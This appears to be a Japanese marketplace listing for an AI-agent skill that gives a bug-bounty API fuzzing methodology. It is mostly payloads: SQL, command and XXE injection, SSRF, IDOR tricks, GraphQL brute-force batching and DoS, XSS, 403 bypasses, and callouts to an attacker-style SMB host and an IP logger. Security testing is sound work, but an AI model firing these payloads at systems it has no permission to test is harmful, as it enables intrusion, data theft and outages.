mcpField
A
api-fuzzing-bug-bounty

api-fuzzing-bug-bounty

github.com/zebbernセキュリティ4.7k64 回インストール2 日前に更新
リポジトリ

api-fuzzing-bug-bounty について

バグバウンティハンターやペネトレーションテスター向けに、REST、SOAP、GraphQL APIのセキュリティテストをまとめたスキルです。偵察、認証、認可、インジェクション、HTTPメソッドの検査手順と、ツールや脆弱性の一覧を扱います。

主な機能

  1. 01REST、SOAP、GraphQLのテスト
  2. 02エンドポイントの偵察と列挙
  3. 03認証とIDORの検査
  4. 04インジェクションとHTTPメソッドの検査
  5. 05GraphQL固有のテスト
  6. 06脆弱性チェックリストとツール一覧

活用シーン

  1. 01APIの認証バイパスとIDORのテスト
  2. 02GraphQLのスキーマとアクセス制御の確認
  3. 03APIのインジェクションとレート制限の評価

インストール

コマンドをコピーしてターミナルで実行します。

$npx skills add https://github.com/zebbern/claude-code-guide --skill api-fuzzing-bug-bounty

インストール後、Claude Code で/api-fuzzing-bug-bountyを入力して読み込まれたか確認します。

詳細

バグバウンティ向けAPIファジング

目的

バグバウンティのハンティングやペネトレーションテストの案件において、REST、SOAP、GraphQLのAPIをテストするための包括的な手法を提供します。脆弱性の発見、認証バイパス、IDORの悪用、およびAPI固有の攻撃ベクトルを扱います。

入力/前提条件

  • Burp Suiteまたは同等のプロキシツール
  • APIワードリスト(SecLists、api_wordlist)
  • REST/GraphQL/SOAPプロトコルの理解
  • スクリプト作成用のPython
  • 対象のAPIエンドポイントおよびドキュメント(利用可能な場合)

出力/成果物

  • 特定されたAPIの脆弱性
  • IDOR悪用の証明
  • 認証バイパスの手法
  • SQLインジェクションのポイント
  • 不正なデータアクセスの記録

APIタイプの概要

タイププロトコルデータ形式構造
SOAPHTTPXMLヘッダー + ボディ
RESTHTTPJSON/XML/URL定義されたエンドポイント
GraphQLHTTPカスタムクエリ単一エンドポイント

基本ワークフロー

ステップ1: APIの偵察

APIのタイプを特定し、エンドポイントを列挙します:

# Check for Swagger/OpenAPI documentation
/swagger.json
/openapi.json
/api-docs
/v1/api-docs
/swagger-ui.html

# Use Kiterunner for API discovery
kr scan https://target.com -w routes-large.kite

# Extract paths from Swagger
python3 json2paths.py swagger.json
ステップ2: 認証のテスト
# Test different login paths
/api/mobile/login
/api/v3/login
/api/magic_link
/api/admin/login

# Check rate limiting on auth endpoints
# If no rate limit → brute force possible

# Test mobile vs web API separately
# Don't assume same security controls
ステップ3: IDORのテスト

安全でない直接オブジェクト参照(Insecure Direct Object Reference)は、最も一般的なAPIの脆弱性です:

# Basic IDOR
GET /api/users/1234 → GET /api/users/1235

# Even if ID is email-based, try numeric
/?user_id=111 instead of /[email protected]

# Test /me/orders vs /user/654321/orders

IDORバイパスの手法:

# Wrap ID in array
{"id":111} → {"id":[111]}

# JSON wrap
{"id":111} → {"id":{"id":111}}

# Send ID twice
URL?id=<LEGIT>&id=<VICTIM>

# Wildcard injection
{"user_id":"*"}

# Parameter pollution
/api/get_profile?user_id=<victim>&user_id=<legit>
{"user_id":<legit_id>,"user_id":<victim_id>}
ステップ4: インジェクションのテスト

JSON内のSQLインジェクション:

{"id":"56456"}                    → OK
{"id":"56456 AND 1=1#"}           → OK  
{"id":"56456 AND 1=2#"}           → OK
{"id":"56456 AND 1=3#"}           → ERROR (vulnerable!)
{"id":"56456 AND sleep(15)#"}     → SLEEP 15 SEC

コマンドインジェクション:

# Ruby on Rails
?url=Kernel#open → ?url=|ls

# Linux command injection
api.url.com/endpoint?name=file.txt;ls%20/

XXEインジェクション:

<!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>

APIを経由したSSRF:

<object data="http://127.0.0.1:8443"/>
<img src="http://127.0.0.1:445"/>

.NET Path.Combineの脆弱性:

# If .NET app uses Path.Combine(path_1, path_2)
# Test for path traversal
https://example.org/download?filename=a.png
https://example.org/download?filename=C:\inetpub\wwwroot\web.config
https://example.org/download?filename=\\smb.dns.attacker.com\a.png
ステップ5: メソッドのテスト
# Test all HTTP methods
GET /api/v1/users/1
POST /api/v1/users/1
PUT /api/v1/users/1
DELETE /api/v1/users/1
PATCH /api/v1/users/1

# Switch content type
Content-Type: application/json → application/xml

GraphQL固有のテスト

イントロスペクションクエリ

バックエンドのスキーマ全体を取得します:

{__schema{queryType{name},mutationType{name},types{kind,name,description,fields(includeDeprecated:true){name,args{name,type{name,kind}}}}}}

URLエンコード版:

/graphql?query={__schema{types{name,kind,description,fields{name}}}}
GraphQL IDOR
# Try accessing other user IDs
query {
  user(id: "OTHER_USER_ID") {
    email
    password
    creditCard
  }
}
GraphQLのSQL/NoSQLインジェクション
mutation {
  login(input: {
    email: "test' or 1=1--"
    password: "password"
  }) {
    success
    jwt
  }
}
レート制限のバイパス(バッチ処理)
mutation {login(input:{email:"[email protected]" password:"password"}){success jwt}}
mutation {login(input:{email:"[email protected]" password:"password"}){success jwt}}
mutation {login(input:{email:"[email protected]" password:"password"}){success jwt}}
GraphQLのDoS(ネストされたクエリ)
query {
  posts {
    comments {
      user {
        posts {
          comments {
            user {
              posts { ... }
            }
          }
        }
      }
    }
  }
}
GraphQLのXSS
# XSS via GraphQL endpoint
http://target.com/graphql?query={user(name:"<script>alert(1)</script>"){id}}

# URL-encoded XSS
http://target.com/example?id=%C/script%E%Cscript%Ealert('XSS')%C/script%E
GraphQLツール
ツール用途
GraphCrawlerスキーマの発見
graphw00fフィンガープリンティング
clairvoyanceスキーマの再構築
InQLBurp拡張機能
GraphQLmap悪用

エンドポイントのバイパス手法

403/401を受け取った場合は、以下のバイパスを試してください:

# Original blocked request
/api/v1/users/sensitivedata → 403

# Bypass attempts
/api/v1/users/sensitivedata.json
/api/v1/users/sensitivedata?
/api/v1/users/sensitivedata/
/api/v1/users/sensitivedata??
/api/v1/users/sensitivedata%20
/api/v1/users/sensitivedata%09
/api/v1/users/sensitivedata#
/api/v1/users/sensitivedata&details
/api/v1/users/..;/sensitivedata

出力の悪用

PDFエクスポートの攻撃

<iframe src="file:///etc/passwd" height=1000 width=800>


<object data="http://127.0.0.1:8443"/>


<img src="http://127.0.0.1:445"/>


<img src="https://iplogger.com/yourcode.gif"/>
制限によるDoS
# Normal request
/api/news?limit=100

# DoS attempt
/api/news?limit=9999999999

一般的なAPIの脆弱性チェックリスト

脆弱性説明
APIの公開保護されていないエンドポイントが公開されている
誤った設定のキャッシュ機密データが誤ってキャッシュされている
トークンの露出APIキー/トークンがレスポンスやURLに含まれている
JWTの脆弱性弱い署名、有効期限なし、アルゴリズムの混同
IDOR / BOLAオブジェクトレベルの認可の不備(Broken Object Level Authorization)
未文書化のエンドポイント隠された管理用またはデバッグ用エンドポイント
異なるバージョン古いAPIバージョンにおけるセキュリティの欠陥
レート制限レート制限がない、またはバイパス可能である
レースコンディションTOCTOUの脆弱性
XXEインジェクションXMLパーサーの悪用
コンテンツタイプの問題JSONとXMLの切り替え
HTTPメソッドの改ざんGET→DELETE/PUTの悪用

クイックリファレンス

脆弱性テストペイロードリスク
IDORuser_idパラメータを変更高
SQLiJSON内の' OR 1=1--重大
コマンドインジェクション; ls /重大
XXEENTITYを含むDOCTYPE高
SSRFパラメータ内の内部IP高
レート制限のバイパスバッチリクエスト中
メソッドの改ざんGET→DELETE高

ツールリファレンス

カテゴリツールURL
API ファジングFuzzapigithub.com/Fuzzapi/fuzzapi
API ファジングAPI-fuzzergithub.com/Fuzzapi/API-fuzzer
API ファジングAstragithub.com/flipkart-incubator/Astra
API セキュリティapicheckgithub.com/BBVA/apicheck
API 探索Kiterunnergithub.com/assetnote/kiterunner
API 探索openapi_security_scannergithub.com/ngalongc/openapi_security_scanner
API ツールキットAPIKitgithub.com/API-Security/APIKit
API キーAPI Guesserapi-guesser.netlify.app
GUIDGUID Guessergist.github.com/DanaEpp/8c6803e542f094da5c4079622f9b4d18
GraphQLInQLgithub.com/doyensec/inql
GraphQLGraphCrawlergithub.com/gsmith257-cyber/GraphCrawler
GraphQLgraphw00fgithub.com/dolevf/graphw00f
GraphQLclairvoyancegithub.com/nikitastupin/clairvoyance
GraphQLbatchqlgithub.com/assetnote/batchql
GraphQLgraphql-copgithub.com/dolevf/graphql-cop
ワードリストSecListsgithub.com/danielmiessler/SecLists
Swagger パーサーSwagger-EZrhinosecuritylabs.github.io/Swagger-EZ
Swagger ルートswagroutesgithub.com/amalmurali47/swagroutes
API マインドマップMindAPIdsopas.github.io/MindAPI/play
JSON パスjson2pathsgithub.com/s0md3v/dump/tree/master/json2paths

制約事項

必ず行うこと:

  • モバイル、Web、開発者向け API をそれぞれ個別にテストする
  • すべての API バージョン(/v1、/v2、/v3)を確認する
  • 認証あり・認証なしの両方のアクセスを検証する

行ってはいけないこと:

  • API バージョン間で同じセキュリティ制御が適用されていると仮定しない
  • ドキュメント化されていないエンドポイントのテストを省略しない
  • レート制限の確認を無視しない

推奨事項:

  • フロントエンドを模擬するために X-Requested-With: XMLHttpRequest ヘッダーを追加する
  • 過去の API エンドポイントを archive.org で確認する
  • 機密性の高い操作に対して競合状態のテストを行う

例

例 1: IDOR の悪用
# Original request (own data)
GET /api/v1/invoices/12345
Authorization: Bearer <token>

# Modified request (other user's data)
GET /api/v1/invoices/12346
Authorization: Bearer <token>

# Response reveals other user's invoice data
例 2: GraphQL イントロスペクション
curl -X POST https://target.com/graphql \
  -H "Content-Type: application/json" \
  -d '{"query":"{__schema{types{name,fields{name}}}}"}'

トラブルシューティング

問題解決策
API が何も返さないX-Requested-With: XMLHttpRequest ヘッダーを追加する
すべてのエンドポイントで 401 になる?user_id=1 パラメーターの追加を試す
GraphQL イントロスペクションが無効になっているclairvoyance を使ってスキーマを再構築する
レート制限にかかるIP ローテーションを使用するか、リクエストをまとめる
エンドポイントが見つからないSwagger、archive.org、JS ファイルを確認する

コメント